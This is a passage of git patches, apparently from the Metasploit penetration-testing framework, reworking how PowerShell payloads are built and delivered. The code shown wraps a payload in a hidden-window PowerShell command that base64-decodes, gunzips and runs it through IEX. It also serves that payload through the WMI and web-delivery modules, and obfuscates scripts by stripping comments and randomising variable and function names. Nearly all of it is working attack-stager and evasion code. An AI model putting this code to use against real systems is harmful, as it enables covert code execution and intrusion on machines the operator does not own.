From cd68b10bcf9315b5b746658a2006f2357dbd29ec Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 23 Nov 2013 19:18:13 +0000
Subject: [PATCH 031/108] Broadcast needs a decent WfsDelay.

Due to the multi railgun changes. Because they return quickly but
the process is still broadcasting them the exploit thinks work has
finished...
---
 modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
index 1cefddcedaaa..ef1737feca83 100644
--- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
+++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
@@ -51,7 +51,11 @@ def initialize(info={})
         [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
       ],
       'DefaultTarget' => 0,
-      'DisclosureDate'=> "Nov 27 2012",
+      'DefaultOptions' =>
+        {
+          'WfsDelay' => 40,
+        },
+      'DisclosureDate' => "Nov 27 2012",
       'References' =>
         [
           [ 'CVE', '2013-0008' ],

From 435cc9b93ff7a7a219e0db118ec790f1aa7618d5 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 16 Dec 2013 15:13:13 +0000
Subject: [PATCH 032/108] Add single quote encapsulation

For WMI and psh_web_delivery
---
 lib/msf/core/exploit/powershell.rb            | 19 +++++++++++++++----
 modules/exploits/windows/local/wmi.rb         | 12 ++++++------
 .../exploits/windows/misc/psh_web_delivery.rb | 12 ++++++++++--
 3 files changed, 31 insertions(+), 12 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 46b04be1ecc0..a92aff680528 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -215,9 +215,9 @@ def run_hidden_psh(ps_code,payload_arch)
   #
   # Creates cmd script to execute psh payload
   #
-  def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
+  def cmd_psh_payload(pay, payload_arch, opts={})
     # Allow powershell 1.0 format
-    if old_psh
+    if opts[:old_psh] || datastore['PSH::old_technique']
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
     else
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
@@ -243,14 +243,25 @@ def cmd_psh_payload(pay, payload_arch, old_psh=datastore['PSH::old_technique'])
     # Wrap in hidden runtime / architecture detection
     final_payload = run_hidden_psh(smallest_payload, payload_arch)
 
+    if opts[:use_single_quotes]
+      # Escape Single Quotes
+      final_payload.gsub!("'","''")
+      # Wrap in quotes
+      final_payload = "'#{final_payload}'"
+    end
+
     psh_command = generate_psh_command_line({
                       :noprofile => true,
                       :windowstyle => 'hidden',
                       :command => final_payload
     })
 
-    command = "%COMSPEC% /b /c #{psh_command}"
- 
+    if opts[:remove_comspec]
+      command = psh_command
+    else
+      command = "%COMSPEC% /b /c #{psh_command}"
+    end
+
     vprint_status("Command length: #{command.length}")
     return command
   end
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index c4f3062f5ee5..e57b010dbfd4 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -78,12 +78,12 @@ def exploit
 
       # Get the PSH Payload and split it into bitesize chunks
       # 1024 appears to be the max value allowed in env vars
-      psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first).strip
-      psh.gsub!("'","''")
-      # We have to use single quotes because IEX does not like ; used in the
-      # arguments
-      psh.gsub!("-c ","-c '")
-      psh << "'\r\n"
+      psh = cmd_psh_payload(payload.encoded,
+                            payload_instance.arch.first,
+                            {
+                                :remove_comspec => true,
+                                :use_single_quotes => true
+                            })
       chunks = split_code(psh, 1000)
 
       begin
diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index 271d0107922f..a0256fe787d6 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -50,8 +50,16 @@ def initialize(info = {})
 
   def on_request_uri(cli, request)
     print_status("Delivering Payload")
-    data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
-    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
+    data = Msf::Util::EXE.to_win32pe_psh_net(framework,
+                                             payload.encoded,
+                                             )
+    psh = cmd_psh_payload(payload.encoded,
+                          payload_instance.arch.first,
+                          {
+                              :remove_comspec => true,
+                              :use_single_quotes => true
+                          })
+    send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
   end
 
   def primer

From 09c48358f4f92b5ec3e07cb7389c8f1b5d71ffc4 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 20:43:04 +0000
Subject: [PATCH 033/108] Retab rex powershell

---
 lib/rex/exploitation/powershell.rb | 774 +++++++++++++++--------------
 1 file changed, 388 insertions(+), 386 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 195834538d45..f872a2d70046 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -8,26 +8,27 @@ module Exploitation
 
 module Powershell
 
-	module Output
-
-		def to_s
-			code
-		end
-
-		def size
-			code.size
-		end
-
-		#
-		# Return code with numbered lines
-		#
-		def to_s_lineno
-			numbered = ''
-			code.split(/\r\n|\n/).each_with_index do |line,idx|
-				numbered << "#{idx}: #{line}"
-			end
-			return numbered
-		end
+  module Output
+
+    def to_s
+      code
+    end
+
+    def size
+      code.size
+    end
+
+    #
+    # Return code with numbered lines
+    #
+    def to_s_lineno
+      numbered = ''
+      code.split(/\r\n|\n/).each_with_index do |line,idx|
+        numbered << "#{idx}: #{line}"
+      end
+      return numbered
+    end
+
     #
     # Return a Base64 encoded powershell code
     #
@@ -40,351 +41,352 @@ def encode_code(eof = nil)
 
       return code
     end
-		#
-		# Return a zlib compressed powershell code
-		#
-		def compress_code(eof = nil)
-			# Compress using the Deflate algorithm
-			compressed_stream = Rex::Text.gzip(code)
-
-			# Base64 encode the compressed file contents
-			encoded_stream = Rex::Text.encode_base64(compressed_stream)
-
-			# Build the powershell expression
-			# Decode base64 encoded command and create a stream object
-			psh_expression =  "$stream = New-Object IO.MemoryStream(,"
-			psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
-			# Uncompress and invoke the expression (execute)
-			psh_expression << "$(IEX $(New-Object IO.StreamReader("
-			psh_expression << "$(New-Object IO.Compression.GzipStream("
-			psh_expression << "$stream,"
-			psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-			psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
-
-			# If eof is set, add a marker to signify end of code output
-			#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
-			psh_expression << "echo '#{eof}';" if eof
-
-			# Convert expression to unicode
-			unicode_expression = Rex::Text.to_unicode(psh_expression)
-
-			# Base64 encode the unicode expression
-			@code = Rex::Text.encode_base64(unicode_expression)
-
-			return code
-		end
-
-		#
-		# Reverse the compression process
-		#
-		def decompress_code
-			# Decode base64 and convert to ascii
-			raw = Rex::Text.decode_base64(code)
-			ascii_expression = Rex::Text.to_ascii(raw)
-			# Extract substring with payload
-			encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
-			# Decode and decompress the string
-			return Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) )
-			# ::Zlib::Inflate.inflate( Rex::Text.decode_base64(encoded_stream) )
-		end
-	end
-
-	module Parser
-
-		#
-		# Get variable names from code, removes reserved names from return
-		#
-		def get_var_names
-			# Reserved special variables
-			# Acquired with: Get-Variable | Format-Table name, value -auto
-			res_vars = [
-				'$$',
-				'$?',
-				'$^',
-				'$_',
-				'$args',
-				'$ConfirmPreference',
-				'$ConsoleFileName',
-				'$DebugPreference',
-				'$Env',
-				'$Error',
-				'$ErrorActionPreference',
-				'$ErrorView',
-				'$ExecutionContext',
-				'$false',
-				'$FormatEnumerationLimit',
-				'$HOME',
-				'$Host',
-				'$input',
-				'$LASTEXITCODE',
-				'$MaximumAliasCount',
-				'$MaximumDriveCount',
-				'$MaximumErrorCount',
-				'$MaximumFunctionCount',
-				'$MaximumHistoryCount',
-				'$MaximumVariableCount',
-				'$MyInvocation',
-				'$NestedPromptLevel',
-				'$null',
-				'$OutputEncoding',
-				'$PID',
-				'$PROFILE',
-				'$ProgressPreference',
-				'$PSBoundParameters',
-				'$PSCulture',
-				'$PSEmailServer',
-				'$PSHOME',
-				'$PSSessionApplicationName',
-				'$PSSessionConfigurationName',
-				'$PSSessionOption',
-				'$PSUICulture',
-				'$PSVersionTable',
-				'$PWD',
-				'$ReportErrorShowExceptionClass',
-				'$ReportErrorShowInnerException',
-				'$ReportErrorShowSource',
-				'$ReportErrorShowStackTrace',
-				'$ShellId',
-				'$StackTrace',
-				'$true',
-				'$VerbosePreference',
-				'$WarningPreference',
-				'$WhatIfPreference'
-			].map(&:downcase)
-
-
-			our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
-			return our_vars.select {|v| !res_vars.include?(v)}
-		end
-
-		#
-		# Get function names from code
-		#
-		def get_func_names
-			return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
-		end
-
-		# Attempt to find string literals in PSH expression
-		def get_string_literals
-			code.scan(/@"(.*)"@|@'(.*)'@/)
-		end
-
-		#
-		# Scan code and return matches with index
-		#
-		def scan_with_index(str,source=code)
-			::Enumerator.new do |y|
-				source.scan(str) do
-					y << ::Regexp.last_match
-				end
-			end.map{|m| [m.to_s,m.offset(0)[0]]}
-		end
-
-		#
-		# Return matching backet type
-		#
-		def match_start(char)
-			case char
-			when '{'
-				'}'
-			when '('
-				')'
-			when '['
-				']'
-			when '<'
-				'>'
-			end
-		end
-
-		#
-		# Extract block of code between inside brackets/parens
-		#
-		# Attempts to match the bracket at idx, handling nesting manually
-		# Once the balanced matching bracket is found, all script content
-		# between idx and the index of the matching bracket is returned
-		#
-		def block_extract(idx)
-			start = code[idx]
-			stop = match_start(start)
-			delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
-			delims.map {|x| x[1] = x[1] + idx + 1}
-			c = 1
-			sidx = nil
-			# Go through delims till we balance, get idx
-			while not c == 0 and x = delims.shift do
-				sidx = x[1]
-				x[0] == stop ? c -=1 : c+=1
-			end
-			return code[idx..sidx]
-		end
-
-		def get_func(func_name, delete = false)
-			start = code.index(func_name)
-			idx = code[start..-1].index('{') + start
-			func_txt = block_extract(idx)
-			code.delete(ftxt) if delete
-			return Function.new(func_name,func_txt)
-		end
-	end # Parser
-
-	module Obfu
-
-		#
-		# Create hash of string substitutions
-		#
-		def sub_map_generate(strings)
-			map = {}
-			strings.flatten.each do |str|
-				map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-				# Ensure our variables are unique
-				while not map.values.uniq == map.values
-					map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-				end
-			end
-			return map
-		end
-
-		#
-		# Remove comments
-		#
-		def strip_comments
-			# Multi line
-			code.gsub!(/<#(.*?)#>/m,'')
-			# Single line
-			code.gsub!(/^#.*$|^\s+#.*$/,'')
-		end
-
-		#
-		# Remove whitespace
-		# This can break some codes using inline .NET
-		#
-		def strip_whitespace
-			code.gsub!(/\s+/,' ')
-		end
-
-
-		#
-		# Identify variables and replace them
-		#
-		def sub_vars
-			# Get list of variables, remove reserved
-			vars = get_var_names
-			# Create map, sub key for val
-			sub_map_generate(vars).each do |var,sub|
-				code.gsub!(var,sub)
-			end
-		end
-
-		#
-		# Identify function names and replace them
-		#
-		def sub_funcs
-			# Find out function names, make map
-			# Sub map keys for values
-			sub_map_generate(get_func_names).each do |var,sub|
-				code.gsub!(var,sub)
-			end
-		end
-
-		#
-		# Perform standard substitutions
-		#
-		def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
-			# Save us the trouble of breaking injected .NET and such
-			subs.delete('strip_whitespace') unless string_literals.empty?
-			# Run selected modifiers
-			subs.each do |modifier|
-				self.send(modifier)
-			end
-			code.gsub!(/^$|^\s+$/,'')
-			return code
-		end
-
-	end # Obfu
-
-	class Param
-		attr_accessor :klass, :name
-		def initialize(klass,name)
-			@klass = klass.strip.gsub(/\[|\]|\s/,'')
-			@name = name.strip.gsub(/\s|,/,'')
-		end
-
-		def to_s
-			"[#{klass}]$#{name}"
-		end
-	end
-
-	class Function
-		attr_accessor :code, :name, :params
-
-		include Output
-		include Parser
-		include Obfu
-
-		def initialize(name,code)
-			@name = name
-			@code = code
-			populate_params
-		end
-		def to_s
-			"function #{name} #{code}"
-		end
-
-		def populate_params
-			@params = []
-			start = code.index(/param\s+\(|param\(/im)
-			return unless start
-			# Get start of our block
-			idx = scan_with_index('(',code[start..-1]).first.last + start
-			pclause = block_extract(idx)
-			# Keep lines which declare a variable of some class
-			vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
-			vars.map! {|v| v.split('=',2).first}.map(&:strip)
-			# Ignore assignment, create params with class and variable names
-			vars.map {|e| e.split('$')}.each do |klass,name|
-				@params << Param.new(klass,name)
-			end
-		end
-	end
-
-	class Script
-		attr_accessor :code
-		attr_reader :functions
-
-		include Output
-		include Parser
-		include Obfu
-		# Pretend we are actually a string
-		extend Forwardable
-		# In case someone messes with String we delegate based on its instance methods
-		eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
-
-		# def method_missing(meth, *args, &block)
-		#   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
-		# end
-
-		def initialize(code)
-			@code = ''
-			begin
-				# Open code file for reading
-				fd = ::File.new(code, 'rb')
-				while (line = fd.gets)
-					@code << line
-				end
-
-				# Close open file
-				fd.close
-			rescue Errno::ENAMETOOLONG, Errno::ENOENT
-				# Treat code as a... code
-				@code = code.to_s.dup # in case we're eating another script
-			end
-			@functions = get_func_names.map {|f| get_func(f)}
-		end
-
-
-		##
-		# Class methods
-		##
+
+    #
+    # Return a zlib compressed powershell code
+    #
+    def compress_code(eof = nil)
+      # Compress using the Deflate algorithm
+      compressed_stream = Rex::Text.gzip(code)
+
+      # Base64 encode the compressed file contents
+      encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+      # Build the powershell expression
+      # Decode base64 encoded command and create a stream object
+      psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "$(IEX $(New-Object IO.StreamReader("
+      psh_expression << "$(New-Object IO.Compression.GzipStream("
+      psh_expression << "$stream,"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
+      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+
+      # If eof is set, add a marker to signify end of code output
+      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      psh_expression << "echo '#{eof}';" if eof
+
+      # Convert expression to unicode
+      unicode_expression = Rex::Text.to_unicode(psh_expression)
+
+      # Base64 encode the unicode expression
+      @code = Rex::Text.encode_base64(unicode_expression)
+
+      return code
+    end
+
+    #
+    # Reverse the compression process
+    #
+    def decompress_code
+      # Decode base64 and convert to ascii
+      raw = Rex::Text.decode_base64(code)
+      ascii_expression = Rex::Text.to_ascii(raw)
+      # Extract substring with payload
+      encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
+      # Decode and decompress the string
+      return Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) )
+      # ::Zlib::Inflate.inflate( Rex::Text.decode_base64(encoded_stream) )
+    end
+  end
+
+  module Parser
+
+    #
+    # Get variable names from code, removes reserved names from return
+    #
+    def get_var_names
+      # Reserved special variables
+      # Acquired with: Get-Variable | Format-Table name, value -auto
+      res_vars = [
+        '$$',
+        '$?',
+        '$^',
+        '$_',
+        '$args',
+        '$ConfirmPreference',
+        '$ConsoleFileName',
+        '$DebugPreference',
+        '$Env',
+        '$Error',
+        '$ErrorActionPreference',
+        '$ErrorView',
+        '$ExecutionContext',
+        '$false',
+        '$FormatEnumerationLimit',
+        '$HOME',
+        '$Host',
+        '$input',
+        '$LASTEXITCODE',
+        '$MaximumAliasCount',
+        '$MaximumDriveCount',
+        '$MaximumErrorCount',
+        '$MaximumFunctionCount',
+        '$MaximumHistoryCount',
+        '$MaximumVariableCount',
+        '$MyInvocation',
+        '$NestedPromptLevel',
+        '$null',
+        '$OutputEncoding',
+        '$PID',
+        '$PROFILE',
+        '$ProgressPreference',
+        '$PSBoundParameters',
+        '$PSCulture',
+        '$PSEmailServer',
+        '$PSHOME',
+        '$PSSessionApplicationName',
+        '$PSSessionConfigurationName',
+        '$PSSessionOption',
+        '$PSUICulture',
+        '$PSVersionTable',
+        '$PWD',
+        '$ReportErrorShowExceptionClass',
+        '$ReportErrorShowInnerException',
+        '$ReportErrorShowSource',
+        '$ReportErrorShowStackTrace',
+        '$ShellId',
+        '$StackTrace',
+        '$true',
+        '$VerbosePreference',
+        '$WarningPreference',
+        '$WhatIfPreference'
+      ].map(&:downcase)
+
+
+      our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
+      return our_vars.select {|v| !res_vars.include?(v)}
+    end
+
+    #
+    # Get function names from code
+    #
+    def get_func_names
+      return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
+    end
+
+    # Attempt to find string literals in PSH expression
+    def get_string_literals
+      code.scan(/@"(.*)"@|@'(.*)'@/)
+    end
+
+    #
+    # Scan code and return matches with index
+    #
+    def scan_with_index(str,source=code)
+      ::Enumerator.new do |y|
+        source.scan(str) do
+          y << ::Regexp.last_match
+        end
+      end.map{|m| [m.to_s,m.offset(0)[0]]}
+    end
+
+    #
+    # Return matching backet type
+    #
+    def match_start(char)
+      case char
+      when '{'
+        '}'
+      when '('
+        ')'
+      when '['
+        ']'
+      when '<'
+        '>'
+      end
+    end
+
+    #
+    # Extract block of code between inside brackets/parens
+    #
+    # Attempts to match the bracket at idx, handling nesting manually
+    # Once the balanced matching bracket is found, all script content
+    # between idx and the index of the matching bracket is returned
+    #
+    def block_extract(idx)
+      start = code[idx]
+      stop = match_start(start)
+      delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
+      delims.map {|x| x[1] = x[1] + idx + 1}
+      c = 1
+      sidx = nil
+      # Go through delims till we balance, get idx
+      while not c == 0 and x = delims.shift do
+        sidx = x[1]
+        x[0] == stop ? c -=1 : c+=1
+      end
+      return code[idx..sidx]
+    end
+
+    def get_func(func_name, delete = false)
+      start = code.index(func_name)
+      idx = code[start..-1].index('{') + start
+      func_txt = block_extract(idx)
+      code.delete(ftxt) if delete
+      return Function.new(func_name,func_txt)
+    end
+  end # Parser
+
+  module Obfu
+
+    #
+    # Create hash of string substitutions
+    #
+    def sub_map_generate(strings)
+      map = {}
+      strings.flatten.each do |str|
+        map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+        # Ensure our variables are unique
+        while not map.values.uniq == map.values
+          map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+        end
+      end
+      return map
+    end
+
+    #
+    # Remove comments
+    #
+    def strip_comments
+      # Multi line
+      code.gsub!(/<#(.*?)#>/m,'')
+      # Single line
+      code.gsub!(/^#.*$|^\s+#.*$/,'')
+    end
+
+    #
+    # Remove whitespace
+    # This can break some codes using inline .NET
+    #
+    def strip_whitespace
+      code.gsub!(/\s+/,' ')
+    end
+
+
+    #
+    # Identify variables and replace them
+    #
+    def sub_vars
+      # Get list of variables, remove reserved
+      vars = get_var_names
+      # Create map, sub key for val
+      sub_map_generate(vars).each do |var,sub|
+        code.gsub!(var,sub)
+      end
+    end
+
+    #
+    # Identify function names and replace them
+    #
+    def sub_funcs
+      # Find out function names, make map
+      # Sub map keys for values
+      sub_map_generate(get_func_names).each do |var,sub|
+        code.gsub!(var,sub)
+      end
+    end
+
+    #
+    # Perform standard substitutions
+    #
+    def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
+      # Save us the trouble of breaking injected .NET and such
+      subs.delete('strip_whitespace') unless string_literals.empty?
+      # Run selected modifiers
+      subs.each do |modifier|
+        self.send(modifier)
+      end
+      code.gsub!(/^$|^\s+$/,'')
+      return code
+    end
+
+  end # Obfu
+
+  class Param
+    attr_accessor :klass, :name
+    def initialize(klass,name)
+      @klass = klass.strip.gsub(/\[|\]|\s/,'')
+      @name = name.strip.gsub(/\s|,/,'')
+    end
+
+    def to_s
+      "[#{klass}]$#{name}"
+    end
+  end
+
+  class Function
+    attr_accessor :code, :name, :params
+
+    include Output
+    include Parser
+    include Obfu
+
+    def initialize(name,code)
+      @name = name
+      @code = code
+      populate_params
+    end
+    def to_s
+      "function #{name} #{code}"
+    end
+
+    def populate_params
+      @params = []
+      start = code.index(/param\s+\(|param\(/im)
+      return unless start
+      # Get start of our block
+      idx = scan_with_index('(',code[start..-1]).first.last + start
+      pclause = block_extract(idx)
+      # Keep lines which declare a variable of some class
+      vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
+      vars.map! {|v| v.split('=',2).first}.map(&:strip)
+      # Ignore assignment, create params with class and variable names
+      vars.map {|e| e.split('$')}.each do |klass,name|
+        @params << Param.new(klass,name)
+      end
+    end
+  end
+
+  class Script
+    attr_accessor :code
+    attr_reader :functions
+
+    include Output
+    include Parser
+    include Obfu
+    # Pretend we are actually a string
+    extend Forwardable
+    # In case someone messes with String we delegate based on its instance methods
+    eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+
+    # def method_missing(meth, *args, &block)
+    #   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
+    # end
+
+    def initialize(code)
+      @code = ''
+      begin
+        # Open code file for reading
+        fd = ::File.new(code, 'rb')
+        while (line = fd.gets)
+          @code << line
+        end
+
+        # Close open file
+        fd.close
+      rescue Errno::ENAMETOOLONG, Errno::ENOENT
+        # Treat code as a... code
+        @code = code.to_s.dup # in case we're eating another script
+      end
+      @functions = get_func_names.map {|f| get_func(f)}
+    end
+
+
+    ##
+    # Class methods
+    ##
 
     #
     # Convert binary to byte array, read from file if able
@@ -406,27 +408,27 @@ def self.to_byte_array(input_data,var_name="buf")
       return psh << lines.join("") + "\r\n"
     end
 
-		#
-		# Build a byte array to load into powershell code
-		#
-		def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-			code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-			return to_byte_array(input_data,var_name)
-		end
-
-		def self.psp_funcs(dir)
-			scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
-			functions = scripts.map {|s| puts s; Script.new(s).functions}
-			return functions.flatten
-		end
-
-		#
-		# Return list of code modifier methods
-		#
-		def self.code_modifiers
-			self.instance_methods.select {|m| m =~ /^(strip|sub)/}
-		end
-	end # class Script
+    #
+    # Build a byte array to load into powershell code
+    #
+    def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      return to_byte_array(input_data,var_name)
+    end
+
+    def self.psp_funcs(dir)
+      scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
+      functions = scripts.map {|s| puts s; Script.new(s).functions}
+      return functions.flatten
+    end
+
+    #
+    # Return list of code modifier methods
+    #
+    def self.code_modifiers
+      self.instance_methods.select {|m| m =~ /^(strip|sub)/}
+    end
+  end # class Script
 
 end
 end

From b10df54dbbe4be7816641d4aa7bfbd53ff55a061 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 21:34:51 +0000
Subject: [PATCH 034/108] Dont need to encode the compress payload

---
 lib/msf/core/exploit/powershell.rb | 13 ++++++++++---
 lib/rex/exploitation/powershell.rb | 15 ++++-----------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index a92aff680528..b1c3b183b4d8 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -159,13 +159,18 @@ def generate_psh_args(opts)
   # Runs powershell in hidden window raising interactive proc msg
   # Detect the architecture
   #
-  def run_hidden_psh(ps_code,payload_arch)
+  def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
         :noprofile => true,
         :windowstyle => 'hidden',
-        :encodedcommand => ps_code
     }
 
+    if encoded
+      arg_opts[:encodedcommand] = ps_code
+    else
+      arg_opts[:command] = ps_code.gsub("'","''")
+    end
+
     # Old technique fails if powershell exits..
     arg_opts[:noexit] = true if datastore['PSH::old_technique']
 
@@ -236,12 +241,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
 
     if (encoded.length <= compressed.length)
       smallest_payload = encoded
+      enc = true
     else
       smallest_payload = compressed
+      enc = false
     end
 
     # Wrap in hidden runtime / architecture detection
-    final_payload = run_hidden_psh(smallest_payload, payload_arch)
+    final_payload = run_hidden_psh(smallest_payload, payload_arch, enc)
 
     if opts[:use_single_quotes]
       # Escape Single Quotes
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index f872a2d70046..4e352e0d69e7 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -54,12 +54,12 @@ def compress_code(eof = nil)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+      psh_expression =  "$s=New-Object IO.MemoryStream(,"
       psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
       # Uncompress and invoke the expression (execute)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.GzipStream("
-      psh_expression << "$stream,"
+      psh_expression << "$s,"
       psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
       psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
 
@@ -67,22 +67,15 @@ def compress_code(eof = nil)
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
       psh_expression << "echo '#{eof}';" if eof
 
-      # Convert expression to unicode
-      unicode_expression = Rex::Text.to_unicode(psh_expression)
+      @code = psh_expression
 
-      # Base64 encode the unicode expression
-      @code = Rex::Text.encode_base64(unicode_expression)
-
-      return code
+      return psh_expression
     end
 
     #
     # Reverse the compression process
     #
     def decompress_code
-      # Decode base64 and convert to ascii
-      raw = Rex::Text.decode_base64(code)
-      ascii_expression = Rex::Text.to_ascii(raw)
       # Extract substring with payload
       encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
       # Decode and decompress the string

From c76862b391b9a2ab06dc938d3455a619d5acb2c3 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 22:10:33 +0000
Subject: [PATCH 035/108] Reduce payload size

---
 lib/msf/core/exploit/powershell.rb | 40 ++++++++++++------------------
 lib/rex/exploitation/powershell.rb | 11 +++-----
 2 files changed, 20 insertions(+), 31 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index b1c3b183b4d8..206bb523fb5a 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -183,33 +183,25 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     end
 
     process_start_info = <<EOS
-$si=New-Object System.Diagnostics.ProcessStartInfo
-$si.FileName=$ps_bin
-$si.Arguments='#{ps_args}'
-$si.UseShellExecute=$false
-$si.RedirectStandardOutput=$true
-$si.WindowStyle='Hidden'
-$si.CreateNoWindow=$true
-$p=[System.Diagnostics.Process]::Start($si)
+$s=New-Object System.Diagnostics.ProcessStartInfo
+$s.FileName=$b
+$s.Arguments='#{ps_args}'
+$s.UseShellExecute=$false
+$s.RedirectStandardOutput=$true
+$s.WindowStyle='Hidden'
+$s.CreateNoWindow=$true
+$p=[System.Diagnostics.Process]::Start($s)
 EOS
     process_start_info.gsub!("\n",';')
 
-
     archictecure_detection = <<EOS
-$x86=#{arch_x86};
-if ([IntPtr]::Size -eq 4) {
-  if ($x86) {
-    $ps_bin='powershell.exe'
-  } else {
-    $ps_bin=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'
-  }
-} else {
-  if ($x86) {
-    $ps_bin=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
-  } else {
-    $ps_bin='powershell.exe'
-  }
-};
+$a=#{arch_x86};
+if([IntPtr]::Size -eq 4){
+if($a){$b='powershell.exe'}
+else{$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}
+}else{
+if($a){$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
+}else{$b='powershell.exe'}};
 EOS
     archictecure_detection.gsub!("\n","")
     archictecure_detection.gsub!("\s\s","")
@@ -269,7 +261,7 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       command = "%COMSPEC% /b /c #{psh_command}"
     end
 
-    vprint_status("Command length: #{command.length}")
